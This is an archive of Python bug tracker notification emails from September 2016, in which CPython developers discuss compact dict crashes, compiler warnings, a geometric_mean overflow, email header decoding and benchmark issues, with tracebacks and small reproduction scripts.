From report at bugs.python.org  Tue Sep 13 03:35:04 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 07:35:04 +0000
Subject: [issue28118] type-limits warning in PyMem_New() _ssl_locks_count
In-Reply-To: <1473751400.61.0.583878208383.issue28118@psf.upfronthosting.co.za>
Message-ID: <1473752104.6.0.141223618764.issue28118@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I'm going to add a workaround.  _ssl_locks_count is an unsigned int because CRYPTO_num_locks() returns an unsigned int. We can safely use a signed int here. OpenSSL needs about 20, 30 locks or so.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28118>
_______________________________________

From report at bugs.python.org  Tue Sep 13 03:39:38 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 13 Sep 2016 07:39:38 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473752378.58.0.95682084011.issue28040@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

> assert list(b.__dict__.keys()) == ['b', 'a'])  # AssertionError!

No, there is no error. Once an pending slot is encountered it is combined. But inserting pending slots is prohibited and it's far from ideal. 

We need to know if the pending slot is the last entry or not. But it seems we can't achieve it using the current implementation. Sad. :(

In short, I give up. Sorry for the noise.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Tue Sep 13 03:40:17 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Tue, 13 Sep 2016 07:40:17 +0000
Subject: [issue28111] geometric_mean can raise OverflowError when checking for
 inf
In-Reply-To: <1473733233.31.0.576673883283.issue28111@psf.upfronthosting.co.za>
Message-ID: <1473752417.76.0.883043393572.issue28111@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

For reference, here's the full traceback. Issue #27975 isn't relevant here - the problem is an out-of-range integer being passed to the math.pow operation.

taniyama:cpython-git mdickinson$ ./python.exe
Python 3.7.0a0 (default, Sep 13 2016, 08:36:28) 
[GCC 4.2.1 Compatible Apple LLVM 6.0 (clang-600.0.57)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import statistics
>>> statistics.geometric_mean(0.7 for _ in range(5000))
Traceback (most recent call last):
  File "/Users/mdickinson/Python/cpython-git/Lib/statistics.py", line 343, in float_nroot
    isinfinity = math.isinf(x)
OverflowError: int too large to convert to float

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/Users/mdickinson/Python/cpython-git/Lib/statistics.py", line 578, in geometric_mean
    s = 2**p * _nth_root(2**q, n)
  File "/Users/mdickinson/Python/cpython-git/Lib/statistics.py", line 330, in nth_root
    return _nroot_NS.float_nroot(x, n)
  File "/Users/mdickinson/Python/cpython-git/Lib/statistics.py", line 345, in float_nroot
    return _nroot_NS.bignum_nroot(x, n)
  File "/Users/mdickinson/Python/cpython-git/Lib/statistics.py", line 472, in bignum_nroot
    b = 2**q * _nroot_NS.nroot(2**r, n)
  File "/Users/mdickinson/Python/cpython-git/Lib/statistics.py", line 365, in nroot
    r1 = math.pow(x, 1.0/n)
OverflowError: int too large to convert to float

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28111>
_______________________________________

From report at bugs.python.org  Tue Sep 13 03:42:29 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 13 Sep 2016 07:42:29 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <20160913074222.36396.79761.15E33F33@psf.io>


Roundup Robot added the comment:

New changeset 579141d6e353 by Victor Stinner in branch 'default':
Issue #28040: Cleanup find_empty_slot()
https://hg.python.org/cpython/rev/579141d6e353

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Tue Sep 13 03:44:48 2016
From: report at bugs.python.org (Andre Merzky)
Date: Tue, 13 Sep 2016 07:44:48 +0000
Subject: [issue27889] ctypes interfers with signal handling
In-Reply-To: <1472510858.82.0.884835264582.issue27889@psf.upfronthosting.co.za>
Message-ID: <1473752688.04.0.252998082547.issue27889@psf.upfronthosting.co.za>


Andre Merzky added the comment:

FWIW, a workaround seems to be a nested try/except clause:

try:
  try:
    do_lots_of_work()
  except RuntimeError as e:
    print 'signal handling worked'
except RuntimeError:
  print 'signal handling delayed'

I did a stress test over 100k runs, and got no unexpected behavior that way.  I am not sure if the underlying race condition is just hidden, or if the inner except clause triggers the signal handling code internally -- either way, while cumbersome to use, it seems to work.

I'd still appreciate feedback on a cleaner solution.

Thanks, Andre.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27889>
_______________________________________

From report at bugs.python.org  Tue Sep 13 03:45:56 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 07:45:56 +0000
Subject: [issue28120] The Blaze test suite segfaults with 4a5b61b0d090
Message-ID: <1473752756.43.0.274042514685.issue28120@psf.upfronthosting.co.za>


New submission from STINNER Victor:

In the issue #4a5b61b0d090, Stefan Krah wrote: "The Blaze test suite segfaults with 4a5b61b0d090". I may be related to compact dict and the issue #28040.

Stefan: Can you please explain what is Blaze? Explain how to reproduce the issue? Try to get the Python traceback?

Did you try a debug build? If you use a release build, please set the env var PYTHONMALLOC=debug.

"""
Blaze is pushing Python's dynamic capabilities to absolute limits,
so perhaps this is specific to a few applications only.

For Blaze *itself* there is no difference whether this is fixed now
or in the next beta.  So releasing 3.6.0b1  now and setting this back
to blocker afterwards sounds good to me.
"""

and

"""
It could still be a stack overflow, but on the surface it does
not look like one. It's definitely related to the aforementioned
revision:

==3442== Invalid read of size 8
==3442==    at 0x49DBD8: _PyDict_Pop (dictobject.c:1743)
==3442==    by 0x4A0BE2: dict_pop (dictobject.c:2732)
==3442==    by 0x4AA5F8: _PyCFunction_FastCallDict (methodobject.c:229)
==3442==    by 0x4AA70B: _PyCFunction_FastCallKeywords (methodobject.c:267)
==3442==    by 0x55FE63: call_function (ceval.c:4794)
==3442==    by 0x55AA82: _PyEval_EvalFrameDefault (ceval.c:3267)
==3442==    by 0x54D9CC: PyEval_EvalFrameEx (ceval.c:718)
==3442==    by 0x560123: _PyFunction_FastCall (ceval.c:4876)
==3442==    by 0x56023B: fast_function (ceval.c:4906)
==3442==    by 0x55FF91: call_function (ceval.c:4815)
==3442==    by 0x55AA82: _PyEval_EvalFrameDefault (ceval.c:3267)
==3442==    by 0x54D9CC: PyEval_EvalFrameEx (ceval.c:718)
==3442==  Address 0x0 is not stack'd, malloc'd or (recently) free'd
==3442== 
==3442== 
==3442== Process terminating with default action of signal 11 (SIGSEGV)
==3442==  Access not within mapped region at address 0x0
==3442==    at 0x49DBD8: _PyDict_Pop (dictobject.c:1743)
==3442==    by 0x4A0BE2: dict_pop (dictobject.c:2732)
==3442==    by 0x4AA5F8: _PyCFunction_FastCallDict (methodobject.c:229)
==3442==    by 0x4AA70B: _PyCFunction_FastCallKeywords (methodobject.c:267)
==3442==    by 0x55FE63: call_function (ceval.c:4794)
==3442==    by 0x55AA82: _PyEval_EvalFrameDefault (ceval.c:3267)
==3442==    by 0x54D9CC: PyEval_EvalFrameEx (ceval.c:718)
==3442==    by 0x560123: _PyFunction_FastCall (ceval.c:4876)
==3442==    by 0x56023B: fast_function (ceval.c:4906)
==3442==    by 0x55FF91: call_function (ceval.c:4815)
==3442==    by 0x55AA82: _PyEval_EvalFrameDefault (ceval.c:3267)
==3442==    by 0x54D9CC: PyEval_EvalFrameEx (ceval.c:718)
"""

----------
messages: 276204
nosy: haypo, methane, skrah
priority: normal
severity: normal
status: open
title: The Blaze test suite segfaults with 4a5b61b0d090
type: crash
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28120>
_______________________________________

From report at bugs.python.org  Tue Sep 13 03:46:32 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Tue, 13 Sep 2016 07:46:32 +0000
Subject: [issue28077] Fix find_empty_slot in dictobject
In-Reply-To: <1473605153.7.0.216174732539.issue28077@psf.upfronthosting.co.za>
Message-ID: <1473752792.73.0.159241291552.issue28077@psf.upfronthosting.co.za>


Changes by Xiang Zhang <angwerzx at 126.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28077>
_______________________________________

From report at bugs.python.org  Tue Sep 13 03:47:57 2016
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 13 Sep 2016 07:47:57 +0000
Subject: [issue28077] Fix find_empty_slot in dictobject
In-Reply-To: <1473605153.7.0.216174732539.issue28077@psf.upfronthosting.co.za>
Message-ID: <1473752877.8.0.301681994834.issue28077@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Victor committed the patch in msg276042 in 579141d6e353.

----------
nosy: +berker.peksag

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28077>
_______________________________________

From report at bugs.python.org  Tue Sep 13 03:48:24 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 07:48:24 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473752904.85.0.389749164455.issue28040@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Stefan Krah: "It could still be a stack overflow, but on the surface it does not look like one. It's definitely related to the aforementioned
revision: (...)"

The initial bug reported in this issue is now fixed. Even if the Blaze issue is related, I would really prefer to discuss it in a different issue, so I created #28120: "The Blaze test suite segfaults with 4a5b61b0d090".

@Xiang: I simplified find_empty_slot() to remove code to support split table. Again, if you want to support deletion in split table, please open a new issue.

I now close this issue. Thanks for the report Matthias! Thanks for the quick fix and the unit test Naoki!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Tue Sep 13 03:48:31 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 07:48:31 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473752911.81.0.815814154189.issue28040@psf.upfronthosting.co.za>


Changes by STINNER Victor <victor.stinner at gmail.com>:


----------
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Tue Sep 13 03:55:03 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 07:55:03 +0000
Subject: [issue27322] test_compile_path fails when python has been installed
In-Reply-To: <1465975219.4.0.787854022028.issue27322@psf.upfronthosting.co.za>
Message-ID: <1473753303.28.0.111413948704.issue27322@psf.upfronthosting.co.za>


STINNER Victor added the comment:

test_compileall depends on sys.path? It doesn't seem reliable to me.

I suggest to create a temporary directory and replace sys.path to only have one item: this directory.

I don't know which files are expected to be there, but we can probably copy .py to this temporary directory.

What do you think?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27322>
_______________________________________

From report at bugs.python.org  Tue Sep 13 04:05:32 2016
From: report at bugs.python.org (Michel Albert)
Date: Tue, 13 Sep 2016 08:05:32 +0000
Subject: [issue20825] containment test for "ip_network in ip_network"
In-Reply-To: <1393766299.38.0.300697561376.issue20825@psf.upfronthosting.co.za>
Message-ID: <1473753932.92.0.583890238463.issue20825@psf.upfronthosting.co.za>


Michel Albert added the comment:

Are there any updates on this? Not sure if it's too late again to get it applied for the next Python (3.6) release?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20825>
_______________________________________

From report at bugs.python.org  Tue Sep 13 04:07:07 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 08:07:07 +0000
Subject: [issue28077] Fix find_empty_slot in dictobject
In-Reply-To: <1473605153.7.0.216174732539.issue28077@psf.upfronthosting.co.za>
Message-ID: <1473754027.86.0.535328726286.issue28077@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> Victor committed the patch in msg276042 in 579141d6e353.

Well, my change is a little bit different than find_empty_slot.patch. I removed the return value and I kept "ep = &ep0[mp->ma_keys->dk_nentries];".

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28077>
_______________________________________

From report at bugs.python.org  Tue Sep 13 04:15:15 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 08:15:15 +0000
Subject: [issue28117] warning: dereferencing type-punned pointer will break
 strict-aliasing rules
In-Reply-To: <1473750714.22.0.188258678348.issue28117@psf.upfronthosting.co.za>
Message-ID: <1473754515.15.0.403997442379.issue28117@psf.upfronthosting.co.za>


Christian Heimes added the comment:

The compile warning occurs on 32bit builds only: http://buildbot.python.org/all/builders/x86%20Gentoo%20Non-Debug%20with%20X%203.x

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28117>
_______________________________________

From report at bugs.python.org  Tue Sep 13 04:38:34 2016
From: report at bugs.python.org (Aivar Annamaa)
Date: Tue, 13 Sep 2016 08:38:34 +0000
Subject: [issue28121] If module starts with comment or empty line then
 frame.f_code.co_firstlineno is inconsistent with inspect.findsource
Message-ID: <1473755914.89.0.262835652716.issue28121@psf.upfronthosting.co.za>


New submission from Aivar Annamaa:

Following program shows that frame.f_code.co_firstlineno ignores first line if it is a comment (or empty line), but inspect.getsource(frame.f_code) returns also the first line:

# first line
import inspect
frame = inspect.currentframe()
print(frame.f_code.co_firstlineno)
print(inspect.findsource(frame.f_code))

----------
messages: 276211
nosy: Aivar.Annamaa
priority: normal
severity: normal
status: open
title: If module starts with comment or empty line then frame.f_code.co_firstlineno is inconsistent with inspect.findsource

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28121>
_______________________________________

From report at bugs.python.org  Tue Sep 13 04:39:03 2016
From: report at bugs.python.org (Aivar Annamaa)
Date: Tue, 13 Sep 2016 08:39:03 +0000
Subject: [issue28121] If module starts with comment or empty line then
 frame.f_code.co_firstlineno is inconsistent with inspect.findsource
In-Reply-To: <1473755914.89.0.262835652716.issue28121@psf.upfronthosting.co.za>
Message-ID: <1473755943.03.0.759327750814.issue28121@psf.upfronthosting.co.za>


Changes by Aivar Annamaa <aivar.annamaa at gmail.com>:


----------
components: +Interpreter Core
type:  -> behavior
versions: +Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28121>
_______________________________________

From report at bugs.python.org  Tue Sep 13 04:40:09 2016
From: report at bugs.python.org (Martin Panter)
Date: Tue, 13 Sep 2016 08:40:09 +0000
Subject: [issue28118] type-limits warning in PyMem_New() _ssl_locks_count
In-Reply-To: <1473751400.61.0.583878208383.issue28118@psf.upfronthosting.co.za>
Message-ID: <1473756009.93.0.454343153679.issue28118@psf.upfronthosting.co.za>


Martin Panter added the comment:

As Serhiy suggested in the other bug, one workaround is just to disable the warning with -Wno-type-limits. It would depend if the benefits of the warning outweigh the annoyance of coming up with a more complicated workaround for this specific case.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28118>
_______________________________________

From report at bugs.python.org  Tue Sep 13 04:47:07 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 13 Sep 2016 08:47:07 +0000
Subject: [issue28118] type-limits warning in PyMem_New() _ssl_locks_count
In-Reply-To: <1473751400.61.0.583878208383.issue28118@psf.upfronthosting.co.za>
Message-ID: <1473756427.01.0.419252162762.issue28118@psf.upfronthosting.co.za>


Christian Heimes added the comment:

The code is going to go away with OpenSSL 1.1.0.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28118>
_______________________________________

From report at bugs.python.org  Tue Sep 13 04:49:33 2016
From: report at bugs.python.org (sijian liang)
Date: Tue, 13 Sep 2016 08:49:33 +0000
Subject: [issue28122] email.header.decode_header can not decode string with
 quotation
Message-ID: <1473756573.9.0.167529610589.issue28122@psf.upfronthosting.co.za>


Changes by sijian liang <twistfate33 at gmail.com>:


----------
components: email
files: demo.py
nosy: barry, r.david.murray, sijian liang
priority: normal
severity: normal
status: open
title: email.header.decode_header can not decode string with quotation
type: behavior
versions: Python 2.7
Added file: http://bugs.python.org/file44624/demo.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28122>
_______________________________________

From report at bugs.python.org  Tue Sep 13 04:51:52 2016
From: report at bugs.python.org (sijian liang)
Date: Tue, 13 Sep 2016 08:51:52 +0000
Subject: [issue28122] email.header.decode_header can not decode string with
 quotation
Message-ID: <1473756712.9.0.349005206851.issue28122@psf.upfronthosting.co.za>


New submission from sijian liang:

#!/usr/bin/python
#-*- coding:utf-8 -*-
import email
# from email.parser import Parser
def decode_email_header(header, sep=''):
	l = []
	for s, c in header:
		if c:
			l.append(s.decode(c))
		else:
			l.append(s)
	return sep.join(l)
s = email.Header.decode_header('"=?gb18030?B?bWFpbGZvcnRlc3R0?=" <2070776562 at qq.com>')
print decode_email_header(s)
s = email.Header.decode_header('=?gb18030?B?bWFpbGZvcnRlc3R0?= <2070776562 at qq.com>')
print decode_email_header(s)


# see output:
#    "=?gb18030?B?bWFpbGZvcnRlc3R0?=" <2070776562 at qq.com>
#    mailfortestt<2070776562 at qq.com>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28122>
_______________________________________

From report at bugs.python.org  Tue Sep 13 04:57:24 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 08:57:24 +0000
Subject: [issue28114] Crash in unicodeobject.c find_maxchar_surrogates on
 python-3.6.0b1 for Windows
In-Reply-To: <1473749735.07.0.359680040874.issue28114@psf.upfronthosting.co.za>
Message-ID: <1473757044.92.0.0257442667448.issue28114@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> Trying to build numpy-1.11.2rc1 wheels for Python 3.6.0b1 on Windows 10 with `python.exe setup.py bdist_wheel`, python36.dll (32 and 64 bit) segfaults in the `find_maxchar_surrogates` function.

I ran "python setup.py bdist_wheel" on numpy-1.11.2rc1 on Linux: no issue.

I compiled Python 3.6 (the default branch in fact, so the future 3.7) in debug mode/64 bit with SSL, but the setup.py command failed with:

   Don't know how to compile Fortran code on platform 'nt'

I don't want to spend too much time to try to reproduce the issue.

Can you please try to get the Python traceback? Try:

   python -X faulthandler setup.py bdist_wheel

It seems like the crash occurs in parse_envlist(), function to parse environment variables in os.spawnve(). Can you try to dump the env parameter of os.spawnve()?

For example, you can put the following lines at the beginning of setup.py:

---
import os
orig_spawnve = os.spawnve

def log_spawnve(*args):
    print("spawnve: %r" % (args,))
    return orig_spawnve(*args)

os.spawnve = log_spawnve
---

My test:
---
>>> import os, sys; args=[sys.executable, "-c", "pass"]; os.spawnve(os.P_WAIT, args[0], args, None)
spawnve: (0, '/home/haypo/prog/python/default/python', ['/home/haypo/prog/python/default/python', '-c', 'pass'], None)
127
---

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28114>
_______________________________________

From report at bugs.python.org  Tue Sep 13 05:01:57 2016
From: report at bugs.python.org (Jens Timmerman)
Date: Tue, 13 Sep 2016 09:01:57 +0000
Subject: [issue23102] distutils: isinstance checks fail with
 setuptools-monkeypatched Extension/Distribution
In-Reply-To: <1419316588.75.0.487755278973.issue23102@psf.upfronthosting.co.za>
Message-ID: <1473757317.23.0.996108759629.issue23102@psf.upfronthosting.co.za>


Jens Timmerman added the comment:

small setup.py file to reproduce this problem if people still had trouble reproducing (this works with the attached d002-distutils-type-checks-can-fail-issue-23102.patch)

```
#!/usr/bin/env python
''' Installation script that breaks '''

from distutils.command import install
from distutils.core import setup

class installer(install.install):
    def run(self):
        import setuptools
        install.install.run(self)


setup(name='test',
      cmdclass = dict(install=installer)
     )

```
run with: 
python setup.py install --user
result:
```
running install
running build
running install_egg_info
Traceback (most recent call last):
  File "mysetup.py", line 14, in <module>
    cmdclass = dict(install=installer)
  File "/usr/lib64/python2.7/distutils/core.py", line 151, in setup
    dist.run_commands()
  File "/usr/lib64/python2.7/distutils/dist.py", line 953, in run_commands
    self.run_command(cmd)
  File "/usr/lib64/python2.7/distutils/dist.py", line 972, in run_command
    cmd_obj.run()
  File "mysetup.py", line 10, in run
    install.install.run(self)
  File "/usr/lib64/python2.7/distutils/command/install.py", line 575, in run
    self.run_command(cmd_name)
  File "/usr/lib64/python2.7/distutils/cmd.py", line 326, in run_command
    self.distribution.run_command(command)
  File "/usr/lib64/python2.7/distutils/dist.py", line 970, in run_command
    cmd_obj = self.get_command_obj(command)
  File "/usr/lib64/python2.7/distutils/dist.py", line 846, in get_command_obj
    cmd_obj = self.command_obj[command] = klass(self)
  File "/usr/lib64/python2.7/distutils/cmd.py", line 59, in __init__
    raise TypeError, "dist must be a Distribution instance"
TypeError: dist must be a Distribution instance
```
expected result:
```
running install
running build
running install_egg_info
Writing /home/jens/.local/lib/python2.7/site-packages/test-0.0.0-py2.7.egg-info
```

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23102>
_______________________________________

From report at bugs.python.org  Tue Sep 13 05:04:06 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 09:04:06 +0000
Subject: [issue22458] Add fractions benchmark
In-Reply-To: <1411369830.75.0.216203072207.issue22458@psf.upfronthosting.co.za>
Message-ID: <1473757446.68.0.160635731949.issue22458@psf.upfronthosting.co.za>


STINNER Victor added the comment:

The issue is not closed, but moved to 
https://github.com/python/performance/pull/10

Please continue the discussion there. I'm now slowly trying to move benchmark issues to GitHub.

----------
resolution:  -> third party
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22458>
_______________________________________

From report at bugs.python.org  Tue Sep 13 05:05:39 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 09:05:39 +0000
Subject: [issue26284] Fix telco benchmark
In-Reply-To: <1454596081.41.0.621997504219.issue26284@psf.upfronthosting.co.za>
Message-ID: <1473757539.76.0.974231282223.issue26284@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Sorry, I'm not sure if you want to make any change to bm_telco.py of the performance. If yes, please open an issue at https://github.com/python/performance

> So LGTM.

Hum, it looks like you are happy, so I now close this issue :-) I'm slowly trying to move discussions related to benchmarking to the performance module on GitHub.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26284>
_______________________________________

From report at bugs.python.org  Tue Sep 13 05:06:08 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 09:06:08 +0000
Subject: [issue26436] Add the regex-dna benchmark
In-Reply-To: <1456402657.17.0.694301948635.issue26436@psf.upfronthosting.co.za>
Message-ID: <1473757568.51.0.484479205176.issue26436@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Serhiy: Can you please open a pull request on the new performance module? https://github.com/python/performance

----------
nosy: +haypo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26436>
_______________________________________

From report at bugs.python.org  Tue Sep 13 05:08:21 2016
From: report at bugs.python.org (Martin Panter)
Date: Tue, 13 Sep 2016 09:08:21 +0000
Subject: [issue28118] type-limits warning in PyMem_New() _ssl_locks_count
In-Reply-To: <1473751400.61.0.583878208383.issue28118@psf.upfronthosting.co.za>
Message-ID: <1473757701.35.0.653154776529.issue28118@psf.upfronthosting.co.za>


Martin Panter added the comment:

Perhaps another way to defeat the warning is to make PyMem_New() an inline function? I haven?t tried, but this way would make all the data types involved more explicit.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28118>
_______________________________________

From report at bugs.python.org  Tue Sep 13 05:09:40 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 09:09:40 +0000
Subject: [issue28118] type-limits warning in PyMem_New() _ssl_locks_count
In-Reply-To: <1473751400.61.0.583878208383.issue28118@psf.upfronthosting.co.za>
Message-ID: <1473757780.88.0.190161524208.issue28118@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Martin: "Perhaps another way to defeat the warning is to make PyMem_New() an inline function?"

See the issue #28092 for compilation issues of inline functions. We should decide if inline functions are ok or not.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28118>
_______________________________________

From report at bugs.python.org  Tue Sep 13 05:12:45 2016
From: report at bugs.python.org (Stefan Krah)
Date: Tue, 13 Sep 2016 09:12:45 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473757965.68.0.744973321802.issue28040@psf.upfronthosting.co.za>


Stefan Krah added the comment:

I don't understand how the original issue is fixed if 1e7b636b6009
exhibits the SystemError and the very next revision 4a5b61b0d090
(the fix) segfaults.  And the test suite works with the previous
dict.

Sure, it can be a third party issue, but this constellation
*does* seem pretty strange.

Happy to discuss it in another issue though.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Tue Sep 13 05:18:05 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 09:18:05 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473758285.38.0.781636111037.issue28040@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Stefan Krah: "I don't understand how the original issue is fixed if 1e7b636b6009
exhibits the SystemError"

"SystemError: returned NULL without setting an error" is a generic error, basically it says that a C function has bug :-) It's hard to know exactly which C function has the issue.


"and the very next revision 4a5b61b0d090 (the fix) segfaults"

A segfault is not a SystemError: it's a new bug.


"Sure, it can be a third party issue, but this constellation *does* seem pretty strange."

In case of doubt, I prefer to open a new issue. Please let's continue in the issue #28120 (see my questions there!).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Tue Sep 13 05:28:50 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 13 Sep 2016 09:28:50 +0000
Subject: [issue28119] Explicit null dereferenced in formatter_unicode.c
In-Reply-To: <1473751923.13.0.486093276852.issue28119@psf.upfronthosting.co.za>
Message-ID: <1473758930.37.0.948453458815.issue28119@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
nosy: +haypo, serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28119>
_______________________________________

From report at bugs.python.org  Tue Sep 13 05:36:05 2016
From: report at bugs.python.org (Stefan Krah)
Date: Tue, 13 Sep 2016 09:36:05 +0000
Subject: [issue28120] The Blaze test suite segfaults with 4a5b61b0d090
In-Reply-To: <1473752756.43.0.274042514685.issue28120@psf.upfronthosting.co.za>
Message-ID: <1473759365.37.0.869776388185.issue28120@psf.upfronthosting.co.za>


Stefan Krah added the comment:

Sorry Victor, I have been reporting memory related issues for a long
time here. ;)

I'm already using Valgrind, why would I set PYTHONMALLOC=debug?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28120>
_______________________________________

From report at bugs.python.org  Tue Sep 13 05:38:47 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 09:38:47 +0000
Subject: [issue26383] benchmarks (perf.py): number of decimal places in csv
 output
In-Reply-To: <1455805826.32.0.222173600977.issue26383@psf.upfronthosting.co.za>
Message-ID: <1473759527.08.0.791840474025.issue26383@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Thanks for the bug report. The issue has been fixed in performance:
https://github.com/python/performance/commit/2b63335248645ce7392c8cf835ef799d41beeeba

----------
nosy: +haypo
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26383>
_______________________________________

From report at bugs.python.org  Tue Sep 13 05:46:06 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 13 Sep 2016 09:46:06 +0000
Subject: [issue28120] The Blaze test suite segfaults with 4a5b61b0d090
In-Reply-To: <1473752756.43.0.274042514685.issue28120@psf.upfronthosting.co.za>
Message-ID: <1473759966.59.0.0585813568985.issue28120@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> I'm already using Valgrind, why would I set PYTHONMALLOC=debug?

Valgrind doesn't understand Python frames. PYTHONMALLOC=debug can show you more information from Python internals, especially when using the tracemalloc module:
https://docs.python.org/dev/whatsnew/3.6.html#pythonmalloc-environment-variable

At this point, I'm not convinced that the issue comes from Python itself. It would help if at least you can explain how to reproduce the issue. What is Blaze? Where can I find it?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28120>
_______________________________________

From report at bugs.python.org  Tue Sep 13 05:46:33 2016
From: report at bugs.python.org (SilentGhost)
Date: Tue, 13 Sep 2016 09:46:33 +0000
Subject: [issue28121] If module starts with comment or empty line then
 frame.f_code.co_firstlineno is inconsistent with inspect.findsource
In-Reply-To: <1473755914.89.0.262835652716.issue28121@psf.upfronthosting.co.za>
Message-ID: <1473759993.34.0.215328727796.issue28121@psf.upfronthosting.co.za>


Changes by SilentGhost <ghost.adh at runbox.com>:


----------
nosy: +yselivanov

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28121>
_______________________________________

